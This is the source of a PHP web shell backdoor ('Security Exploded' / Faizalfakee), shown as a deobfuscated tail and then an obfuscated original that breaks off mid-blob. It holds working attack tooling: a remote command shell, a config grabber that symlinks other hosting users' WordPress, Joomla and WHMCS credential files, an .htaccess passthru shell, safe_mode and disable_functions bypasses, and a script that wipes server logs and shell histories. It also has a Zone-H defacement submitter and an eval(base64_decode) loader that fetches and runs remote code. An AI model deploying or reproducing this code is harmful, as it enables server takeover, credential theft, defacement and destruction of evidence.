        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Zone-H Submiter</font></b></center></td></tr></table>\n";
        ?>
<form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=zone" method="post">

<br><br><center>
<!-- Zone-H -->
<form action="" method='POST'><table><table class='tabnet'>
<td style='background-color:#0000;padding-left:10px;'><tr><tr><th colspan="2"><b>Zone-H Defacer</b></th></tr></td></tr><td height='45' colspan='2'><form method="post">
<input type="text" class="inputz" name="defacer" style="background:black;" placeholder="Name Of Defacer" />
<select name="hackmode" class="inputz" >
<option >---------------------------Select One---------------------------</option>
<option value="1">Known Vulnerability (i.e. Unpatched System)</option>
<option value="2" >Undisclosed (new) Vulnerability</option>
<option value="3" >Configuration / Admin Mistake</option>
<option value="4" >Brute Force Attack</option>
<option value="5" >Social Engineering</option>
<option value="6" >Web Server Intrusion</option>
<option value="7" >Web Server External Module Intrusion</option>
<option value="8" >Mail Server Intrusion</option>
<option value="9" >FTP Server Intrusion</option>
<option value="10" >SSH Server Intrusion</option>
<option value="11" >Telnet Server Intrusion</option>
<option value="12" >RPC Server Intrusion</option>
<option value="13" >Shares Misconfiguration</option>
<option value="14" >Other Server Intrusion</option>
<option value="15" >SQL Injection</option>
<option value="16" >URL Poisoning</option>
<option value="17" >File Inclusion</option>
<option value="18" >Other Web Application Bug</option>
<option value="19" >Remote Administrative Panel Access Bruteforcing</option>
<option value="20" >Remote Administrative Panel Access Password Guessing</option>
<option value="21" >Remote Administrative Panel Access Social Engineering</option>
<option value="22" >Attack Against Administrator(Password StealingSniffing)</option>
<option value="23" >Access Credentials Through Man In the Middle Attack</option>
<option value="24" >Remote Service Password Guessing</option>
<option value="25" >Remote Service Password Bruteforce</option>
<option value="26" >Rerouting After Attacking The Firewall</option>
<option value="27" >Rerouting After Attacking The Router</option>
<option value="28" >DNS Attack Through Social Engineering</option>
<option value="29" >DNS Attack Through Cache Poisoning</option>
<option value="30" >Not available</option>
</select>

<select name="reason" class="inputz" >
<option >---------------Select One-----------------</option>
<option value="1" >Heh...Just For Fun!</option>
<option value="2" >Revenge Against That Website</option>
<option value="3" >Political Reasons</option>
<option value="4" >As a Challenge</option>
<option value="5" >I Just Want To Be The Best Defacer</option>
<option value="6" >Patriotism</option>
<option value="7" >Not Available</option>
</select>
<input type="hidden" name="action" value="zone"><tr><td>
<center><textarea style="background:black;outline:none;" name="domain" cols="116" rows="9" id="domains" placeholder="List Of Domains"></textarea>
<br /><input class='inputzbut' type="submit" value="Send Now !" name="SendNowToZoneH" /><br></center></table>
</form></td></tr></table></form>
<!-- End Of Zone-H -->
</td></center><br><br>

<?php 
        function ZoneH($url, $hacker, $hackmode, $reson, $site)
        {
            $k = curl_init();
            curl_setopt($k, CURLOPT_URL, $url);
            curl_setopt($k, CURLOPT_POST, true);
            curl_setopt($k, CURLOPT_POSTFIELDS, "defacer=" . $hacker . "&domain1=" . $site . "&hackmode=" . $hackmode . "&reason=" . $reson);
            curl_setopt($k, CURLOPT_FOLLOWLOCATION, true);
            curl_setopt($k, CURLOPT_RETURNTRANSFER, true);
            $kubra = curl_exec($k);
            curl_close($k);
            return $kubra;
        }
        ob_start();
        $sub = @get_loaded_extensions();
        if (!in_array("curl", $sub)) {
            die('<center><b>[-] Curl Is Not Supported !![-]</b></center>');
        }
        $hacker = $_POST['defacer'];
        $method = $_POST['hackmode'];
        $neden = $_POST['reason'];
        $site = $_POST['domain'];
        if (empty($hacker)) {
            die("<center><b> </b></center>");
        } elseif ($method == "--------SELECT--------") {
            die("<center><b>[+] YOU MUST SELECT THE METHOD [+]</b></center>");
        } elseif ($neden == "--------SELECT--------") {
            die("<center><b>[+] YOU MUST SELECT THE REASON [+]</b></center>");
        } elseif (empty($site)) {
            die("<center><b>[+] YOU MUST INTER THE SITES LIST [+]</b></center>");
        }
        $i = 0;
        $sites = explode("\n", $site);
        while ($i < count($sites)) {
            if (substr($sites[$i], 0, 4) != "http") {
                $sites[$i] = "http://" . $sites[$i];
            }
            ZoneH("http://www.zone-h.com/notify/single", $hacker, $method, $neden, $sites[$i]);
            echo "{$sites[$i]}";
            ++$i;
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'grabc') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>Config Grabber</font></b></center></td></tr></table>\n";
        ?>
    <form action="?y=<?php 
        echo $pwd;
        ?>&x=grabc" method="post">

<?php 
        echo "\n<form method='POST'>\n</head>\n<style>\ntextarea {\nresize:none;\ncolor: #000000 ;\nbackground-color:#000000;  \nfont-size:8pt; color:#ffffff;\n\nwidth:550px;\nheight:400px;\n}\ninput {\ncolor: #000000;\nborder:1px dotted white;\n}\n</style>";
        echo "<center>";
        ?></center><br><center><?php 
        if (empty($_POST['config'])) {
            ?><br><form method="POST"><table class="tabnet" >
<th colspan='5'><b>Config Grabber</b></th></center>
<tr><td></td><td><table><textarea name="passwd" class='area' rows='15' cols='60'><?php 
            echo file_get_contents('/etc/passwd');
            ?></textarea><br>
<center><input name="config" style="width:550px;" class='inputzbut' value="&nbsp;&nbsp;Grab!&nbsp;&nbsp;" type="submit"></form></center></table></table>
<?php 
        }
        if ($_POST['config']) {
            $function = $functions = @ini_get("disable_functions");
            if (eregi("symlink", $functions)) {
                die('<error>Symlink disabled :( </error>');
            }
            @mkdir('explodedcgrab', 0755);
            @chdir('explodedcgrab');
            $htaccess = "\nOPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI\nOptions Indexes FollowSymLinks\nForceType text/plain\nAddType text/plain .php\nAddType text/plain .html\nAddType text/html .shtml\nAddType txt .php\nAddHandler server-parsed .php\nAddHandler txt .php\nAddHandler txt .html\nAddHandler txt .shtml\nOptions All\nOptions All\nOPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI\nOptions Indexes FollowSymLinks\nForceType text/plain\nAddType text/plain .php\nAddType text/plain .html\nAddType text/html .shtml\nAddType txt .php\nAddHandler server-parsed .php\nAddHandler txt .php\nAddHandler txt .html\nAddHandler txt .shtml\nOptions All\nOptions All";
            file_put_contents(".htaccess", $htaccess, FILE_APPEND);
            $passwd = $_POST["passwd"];
            $passwd = explode("\n", $passwd);
            echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";
            foreach ($passwd as $pwd) {
                $pawd = explode(":", $pwd);
                $user = $pawd[0];
                @symlink('/home/' . $user . '/public_html/wp-config.php', $user . '-wp13.txt');
                @symlink('/home/' . $user . '/public_html/wp/wp-config.php', $user . '-wp13-wp.txt');
                @symlink('/home/' . $user . '/public_html/WP/wp-config.php', $user . '-wp13-WP.txt');
                @symlink('/home/' . $user . '/public_html/wp/beta/wp-config.php', $user . '-wp13-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp13-beta.txt');
                @symlink('/home/' . $user . '/public_html/press/wp-config.php', $user . '-wp13-press.txt');
                @symlink('/home/' . $user . '/public_html/wordpress/wp-config.php', $user . '-wp13-wordpress.txt');
                @symlink('/home/' . $user . '/public_html/Wordpress/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp13-Wordpress.txt');
                @symlink('/home/' . $user . '/public_html/config.php', $user . '-configgg.txt');
                @symlink('/home/' . $user . '/public_html/news/wp-config.php', $user . '-wp13-news.txt');
                @symlink('/home/' . $user . '/public_html/new/wp-config.php', $user . '-wp13-new.txt');
                @symlink('/home/' . $user . '/public_html/blog/wp-config.php', $user . '-wp-blog.txt');
                @symlink('/home/' . $user . '/public_html/beta/wp-config.php', $user . '-wp-beta.txt');
                @symlink('/home/' . $user . '/public_html/blogs/wp-config.php', $user . '-wp-blogs.txt');
                @symlink('/home/' . $user . '/public_html/home/wp-config.php', $user . '-wp-home.txt');
                @symlink('/home/' . $user . '/public_html/db.php', $user . '-dbconf.txt');
                @symlink('/home/' . $user . '/public_html/site/wp-config.php', $user . '-wp-site.txt');
                @symlink('/home/' . $user . '/public_html/main/wp-config.php', $user . '-wp-main.txt');
                @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-wp-test.txt');
                @symlink('/home/' . $user . '/public_html/joomla/configuration.php', $user . '-joomla2.txt');
                @symlink('/home/' . $user . '/public_html/portal/configuration.php', $user . '-joomla-protal.txt');
                @symlink('/home/' . $user . '/public_html/joo/configuration.php', $user . '-joo.txt');
                @symlink('/home/' . $user . '/public_html/cms/configuration.php', $user . '-joomla-cms.txt');
                @symlink('/home/' . $user . '/public_html/site/configuration.php', $user . '-joomla-site.txt');
                @symlink('/home/' . $user . '/public_html/main/configuration.php', $user . '-joomla-main.txt');
                @symlink('/home/' . $user . '/public_html/news/configuration.php', $user . '-joomla-news.txt');
                @symlink('/home/' . $user . '/public_html/new/configuration.php', $user . '-joomla-new.txt');
                @symlink('/home/' . $user . '/public_html/home/configuration.php', $user . '-joomla-home.txt');
                @symlink('/home/' . $user . '/public_html/vb/includes/config.php', $user . '-vb-config.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm15.txt');
                @symlink('/home/' . $user . '/public_html/central/configuration.php', $user . '-whm-central.txt');
                @symlink('/home/' . $user . '/public_html/whm/whmcs/configuration.php', $user . '-whm-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/whm/WHMCS/configuration.php', $user . '-whm-WHMCS.txt');
                @symlink('/home/' . $user . '/public_html/whmc/WHM/configuration.php', $user . '-whmc-WHM.txt');
                @symlink('/home/' . $user . '/public_html/whmcs/configuration.php', $user . '-whmcs.txt');
                @symlink('/home/' . $user . '/public_html/support/configuration.php', $user . '-support.txt');
                @symlink('/home/' . $user . '/public_html/configuration.php', $user . '-joomla.txt');
                @symlink('/home/' . $user . '/public_html/submitticket.php', $user . '-whmcs2.txt');
                @symlink('/home/' . $user . '/public_html/whm/configuration.php', $user . '-whm.txt');
            }
            echo "<b class=\"cone\"><font face=\"Tahoma\" color=\"#00dd00\" size=\"2pt\"><b>Done -></b> <a target=\"_blank\" href=\"explodedcgrab\">Open configs</a></font></b>";
        }
    } elseif (isset($_GET['x']) && $_GET['x'] == 'about') {
        @ini_set('output_buffering', 0);
        echo "\n<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>\n\n    <tr>\n    <td valign=top bgcolor=#151515 class=style2 style=width: 139px>\n    <center><b><font size=5 style=italic color=#00ff00>About</font></b></center></td></tr></table>\n";
        ?><form action="?y=<?php 
        echo $pwd;
        ?>&x=about" method="post"><center><br><br><div class='msupiani'><img src='http://oi58.tinypic.com/2u8fmnn.jpg'/></div>
<br><br><br><font size="10" color="#00ff00"><b>Thanks To :</b><br><br><br></font></center><center><marquee direction="up" scrollamount="2" bgcolor="" width="250" height="100"><center>
<p><b><font size="3" color="#00ff00">Allah S.W.T<br><br>My Parent<br>Yulia Susanti<br>All Member Security Exploded<br>1N73CTION<br>B374K<br>AnonGhost<br>WSO<br>C100<br>BlackShadow<br>Madspot<br><br>
=[ Grub & Forum ]=<br><br>Pentest & Security Indonesia<br>Kali Linux Indonesia<br>Surabaya Black Hat<br>Indonesian Backtrack Team<br><br><br><br>By<br>Security Exploded a.k.a ./Port22<br><br>Special Present To :<BR><center><img src="http://www.clker.com/cliparts/W/q/D/p/e/7/small-red-heart-with-transparent-background-hi.png" width='20' height='20'></center>Yulia Susanti<br><br>18 Mar 2014<br>
</font></b></p></center></marquee></center><embed src="<?php 
        echo $music;
        ?>" autostart="TRUE" loop="TRUE" width="0" height="0"></embed><br><br><br>
<?php 
    } elseif (isset($_GET['x']) && $_GET['x'] == 'shell') {
        ?><form action="?y=<?php 
        echo $pwd;
        ?>&amp;x=shell" method="post"><table class="cmdbox">
<tr><td colspan="2"><textarea class="output" readonly><?php 
        if (isset($_POST['submitcmd'])) {
            echo @exe($_POST['cmd']);
        }
        ?></textarea>
<tr><td colspan="2"><?php 
        echo $prompt;
        ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table></form><?php 
    } else {
        if (isset($_GET['delete']) && $_GET['delete'] != "") {
            $file = $_GET['delete'];
            @unlink($file);
        } elseif (isset($_GET['fdelete']) && $_GET['fdelete'] != "") {
            @rmdir(rtrim($_GET['fdelete'], DIRECTORY_SEPARATOR));
        } elseif (isset($_GET['mkdir']) && $_GET['mkdir'] != "") {
            $path = $pwd . $_GET['mkdir'];
            @mkdir($path);
        }
        $buff = showdir($pwd, $prompt);
        echo $buff;
    }
    //////////////////////////////////////
    ?>
<br><table class="tabnet" >
<tr><form method="post" action="">&nbsp;<td><select class="inputzbut" align="left"  name="pilihan" id="pilih"><option value=""selected>------[ Select Your Favorit Tools ]------</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
<input  type="submit" name="submites" class="inputzbut" value="Created">
</td></form></tr></table>
<?php 
    $submit = $_POST['submites'];
    if (isset($submit)) {
        $pilih = $_POST['pilihan'];
        if ($pilih == 'ini') {
            $byphp = "safe_mode = Off \n disable_functions = None \n safe_mode_gid = OFF \n open_basedir = OFF \n allow_url_fopen = On";
            $byht = "<IfModule mod_security.c> \n SecFilterEngine Off \n SecFilterScanPOST Off \n  SecFilterCheckURLEncoding Off \n  SecFilterCheckUnicodeEncoding Off \n  </IfModule>";
            $iniphp = '<?php  \\n echo ini_get("safe_mode"); \\n echo ini_get("open_basedir"); \\n include($_GET["file"]); \\n ini_restore("safe_mode"); \\n ini_restore("open_basedir"); \\n echo ini_get("safe_mode"); \\n echo ini_get("open_basedir"); \\n include($_GET["ss"]; \\n ?>';
            file_put_contents("php.ini", $byphp);
            file_put_contents(".htaccess", $byht);
            file_put_contents("ini.php", $iniphp);
            echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
            die;
        } elseif ($pilih == 'inis') {
            $iniph = '<?php \\n echo ini_get("safe_mode"); \\n echo ini_get("open_basedir"); \\n include($_GET["file"]); \\n ini_restore("safe_mode"); \\n ini_restore("open_basedir"); \\n echo ini_get("safe_mode"); \\n echo ini_get("open_basedir"); \\n include($_GET["ss"]; \\n ?>';
            $byph = "safe_mode = Off \n disable_functions= ";
            $comp = "PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
            file_put_contents("php.ini", "\xb1\xa7\xde\x9a\x87^9\xf7\xdd\x8a\xc6\x9b\x95\xe7\xee\x9d\xcbb\xa2{");
            file_put_contents("ini.php", "\xa6\32gy\xc8h\x8ax\xa0z\xdb\32}\xe9\xa8u\xe9\xder\32\"\x9e(\36\xb6\x8a^\x9d\xb6\xacy\xd8\xab\x9e)\xdc\x96\xe7^\30D\xdf\x8aW\xa7\x8ax\xabz\xcbh\xad\xeb\32}\xe9\xa8u\xe9\xe2\x9e*\xde\xb2\xda+z\x8a^\x9d\xb6\xacy\xd8\xab\x9d\xe7!\xa2)\xe2\x81\xebli\xf7\xa6\xa1\xd7\xa7y\xc8h\x8ax\xa0z\xda)zv\xda\xb1\xe7b\xaex\xa7r[\x9dxa\23\xb2\xc9");
            file_put_contents(".htaccess", "<Files *.php>\r\nForceType application/x-httpd-php4\r\n</Files>");
            echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
            die;
        } elseif ($pilih == 'slc') {
            $slc = "IyEvYmluL3NoDQojIFJlY29kZWQgQnkgLi9Qb3J0MjIgKE1TdXBpYW4pDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIFNlY3VyaXR5IEV4cGxvZGVkDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVG8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
            file_put_contents("serverLC.sh", "#!/bin/sh\r\n# Recoded By ./Port22 (MSupian)\r\n# Gr33tz : All Members Of Security Exploded\r\n# chmod 0755 serverLC.sh >> ./serverLC.sh\r\n\r\necho \"[*] Going To Delete Log Servers ... \"\r\nfind / -name *.bash_history -exec rm -rf {} \\;\r\nfind / -name *.bash_logout -exec rm -rf {} \\;\r\nfind / -name \"log*\" -exec rm -rf {} \\;\r\nfind / -name *.log -exec rm -rf {} \\;\r\nrm -rf /tmp/logs\r\nrm -rf \$HISTFILE\r\nrm -rf /root/.ksh_history\r\nrm -rf /root/.bash_history\r\nrm -rf /root/.ksh_history\r\nrm -rf /root/.bash_logout\r\nrm -rf /usr/local/apache/logs\r\nrm -rf /usr/local/apache/log\r\nrm -rf /var/apache/logs\r\nrm -rf /var/apache/log\r\nrm -rf /var/run/utmp\r\nrm -rf /var/logs\r\nrm -rf /var/log\r\nrm -rf /var/adm\r\nrm -rf /etc/wtmp\r\nrm -rf /etc/utmp\r\n\r\necho \"[*] Done . Good Luck ;)\"");
            echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
            die;
        } elseif ($pilih == 'htasell') {
            $ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
            file_put_contents(".htaccess", "<Files ~ \"^\\.ht\">\r\nOrder allow,deny\r\nAllow from all\r\n</files>\r\nAddType application/x-httpd-php .htaccess\r\n# <?php passthru(\$_GET['cmd']);?>\r\n");
            echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
            die;
        }
    }
};
?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?php 
echo $title;
?> <?php 
echo $versi;
?> Shell Backdoor</b></div>
<div class="jaya">  &copy; <?php 
echo date('Y', time());
?> <a href=""><?php 
echo $xName;
?></a></div></div>
</body>
</html>


Original code

<?php
@ini_set('output_buffering',0); // 
//@ini_set('display_errors', 0); //
//@ini_set('error_reporting', 0); //
/*
##################################################### 
##    Name    : Faizalfakee.php            ## 
##    Version : v1.5 Mini                          ## 
##    Author  : Faizalfakee    ## 
##    Contact : Ifa14815@gmail.com              ##       
#####################################################
*/
$pass = "3776ae7a24f461c33aa4e60a8e43eda9"; // Password Encrypted By MD5, pass is:" faizalfakee "
$title = "Faizalfakee.php"; // Title
$color = "white"; // Color
$background= "http://oi58.tinypic.com/2u8fmnn.jpg"; // Background
$logo = "http://oi58.tinypic.com/10r33mq.jpg"; // Logo
$music = "https://e.top4top.io/m_19768wlyd0.mp3";
$script_deface = "<html><head><title>Touched By Faizalfakee</title></head><body>Touched By Faizalfakee  <br> My Friends : LEXUSFAKEE - MR.R07 - BABI NGEPET - UNKNOWNEXPLOIT - KENZO X DEMONS - SADBOY REMBTUK343    |<embed src='http://www.youtube.com/v/qD8OnPC1fLI&autoplay=1&loop=1' type='application/x-shockwave-flash' wmode='transparent' width='0' height='0'></embed>"; //Script Deface. (html, php, txt)

/*
Content is encrypted by gzdeflate , base64 , and others . if you want the source code , please use the tool "PHP Decrypter". In case you dont trust me :-P
*/
eval(base64_decode("CiR4TmFtZSA9ICJTZWN1cml0eSBFeHBsb2RlZCI7CiR2ZXJzaSA9ICJ2MS41IE1pbmkiOyAvLyBTaGVsbCBWZXJzaW9uCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7IApAZGVmaW5lKCdTRUxGX1BBVEgnLCBfX0ZJTEVfXyk7IAppZiggc3RycG9zKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnR29vZ2xlJykgIT09IGZhbHNlICkgeyAKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOyAKICAgIGV4aXQ7IH0KJGluZG89ZmlsZV9nZXRfY29udGVudHMoImh0dHBzOi8vaW1hZ2UuaWJiLmNvL2N0M1pybi9pbmRvbmVzaWFfaWNvbi5wbmciKTsgIApAc2Vzc2lvbl9zdGFydCgpOyAKQGVycm9yX3JlcG9ydGluZygwKTsgCkBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsgCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAc2V0X3RpbWVfbGltaXQoMCk7IApAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApOyAKQGRlZmluZSgnVkVSU0lPTicsICcyLjEnKTsgCmV2YWwoZ3ppbmZsYXRlKHN1YnN0cigkaW5kbywxOTM0KSkpOwppZiggZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSApIHsgCiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7IHJldHVybiBpc19hcnJheSgkYXJyYXkpID8gYXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfYXJyYXknLCAkYXJyYXkpIDogc3RyaXBzbGFzaGVzKCRhcnJheSk7IH0gCiAgICAkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsgCn0gCmZ1bmN0aW9uIHByaW50TG9naW4oKSB7IAo/PjxodG1sPjxoZWFkPgo8bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnIj4KPHRpdGxlPlNlY3VyaXR5IEV4cGxvZGVkPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keSB7IGJhY2tncm91bmQtY29sb3I6dHJhbnNwYXJhbjtiYWNrZ3JvdW5kOiMwMDA7YmFja2dyb3VuZC1pbWFnZTogdXJsKCJodHRwOi8vb2k2MC50aW55cGljLmNvbS9pbjc0cGkuanBnIik7YmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyOyAgYmFja2dyb3VuZC1hdHRhY2htZW50OiBmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0OyB9IAoudGFibmV6eyBtYXJnaW46MzBweCBhdXRvIDAgYXV0bztib3JkZXI6IDFweCBzb2xpZCAjMzMzMzMzOyBjb2xvcjogZ3JleTsgCi1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDVweDsgLWtodG1sLWJvcmRlci1yYWRpdXM6IDVweDsgYm9yZGVyLXJhZGl1czogNXB4O30KYm9keSx0ZCx0aCB7Zm9udC1mYW1pbHk6IFZlcmRhbmE7Zm9udC1zaXplOiAxMnB4O2NvbG9yOiBncmV5O2ZvbnQtd2VpZ2h0OiBib2xkO30KaW5wdXQge0JPUkRFUi1SSUdIVDpncmV5IDFweCBzb2xpZDtCT1JERVItVE9QOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1MRUZUOmdyZXkgMXB4IHNvbGlkO0JPUkRFUi1CT1RUT006IGdyZXkgMXB4IHNvbGlkO0JBQ0tHUk9VTkQtQ09MT1I6ICMxMTExMTE7Q09MT1I6IGdyZXk7Zm9udDogOHB0IFZlcmRhbmE7fQo8L3N0eWxlPjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDQ4LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+Cgo8aW1nIHNyYz0iaHR0cDovL29pNTgudGlueXBpYy5jb20vMnU4Zm1ubi5qcGciIHRpdGxlPSIuL1BvcnQyMiIgc3R5bGU9ImZsb2F0OmxlZnQiIGFsdD0iRXhwbG9kZWQiIGhlaWdodD0nMjUwJyB3aWR0aD0nNzAwJy8+Cjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxjZW50ZXI+Cjx0YWJsZT4KPGZvcm0gbWV0aG9kPSdwb3N0Jz4KPHRyPgo8dGQ+PGltZyBzcmM9J2h0dHA6Ly9vaTU4LnRpbnlwaWMuY29tLzEwcjMzbXEuanBnJyBjbGFzcz0idGFibmV6IiAgaGVpZ2h0PScyMCcgd2lkdGg9JzI0Jz48L3RkPgo8dGQ+PGlucHV0IGNsYXNzPSJ0YWJuZXoiIHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iUGFzc3dvcmQiPjwvdGQ+Cjx0ZD48aW5wdXQgY2xhc3M9InRhYm5leiIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTG9naW4gISI+PC90ZD4KPC90cj4KPC9mb3JtPgo8L3RhYmxlPgo8L2JvZHk+CjwvaHRtbD4KICAgIDw/cGhwIGJyZWFrIDsKICAgIGV4aXQ7IAp9IAppZiggIWlzc2V0KCAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpIAogICAgaWYoIGVtcHR5KCAkcGFzcyApIHx8IAogICAgICAgICggaXNzZXQoICRfUE9TVFsncGFzcyddKSAmJiAoIG1kNSgkX1BPU1RbJ3Bhc3MnXSkgPT0gJHBhc3MgKSApICkgCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSA9IHRydWU7IAogICAgZWxzZSAKICAgICAgICBwcmludExvZ2luKCk7CiAgICAgICAgCkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOyAKQGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7CmlmKGlzc2V0KCRfR0VUWydkbCddKSAmJiAoJF9HRVRbJ2RsJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsJ107CiAgICAkZmlsZXogPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRmaWxlKS4iXCI7Iik7CiAgIGVjaG8gJGZpbGV6OyAKICAgIGV4aXQ7IAp9CmVsc2VpZihpc3NldCgkX0dFVFsnZGxnemlwJ10pICYmICgkX0dFVFsnZGxnemlwJ10gIT0gIiIpKXsKICAgICRmaWxlID0gJF9HRVRbJ2RsZ3ppcCddOwogICAgJGZpbGV6ID0gZ3plbmNvZGUoQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7CiAgIGhlYWRlcigiQ29udGVudC1UeXBlOmFwcGxpY2F0aW9uL3gtZ3ppcFxuIik7IAogICBoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkZmlsZXopKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLmJhc2VuYW1lKCRma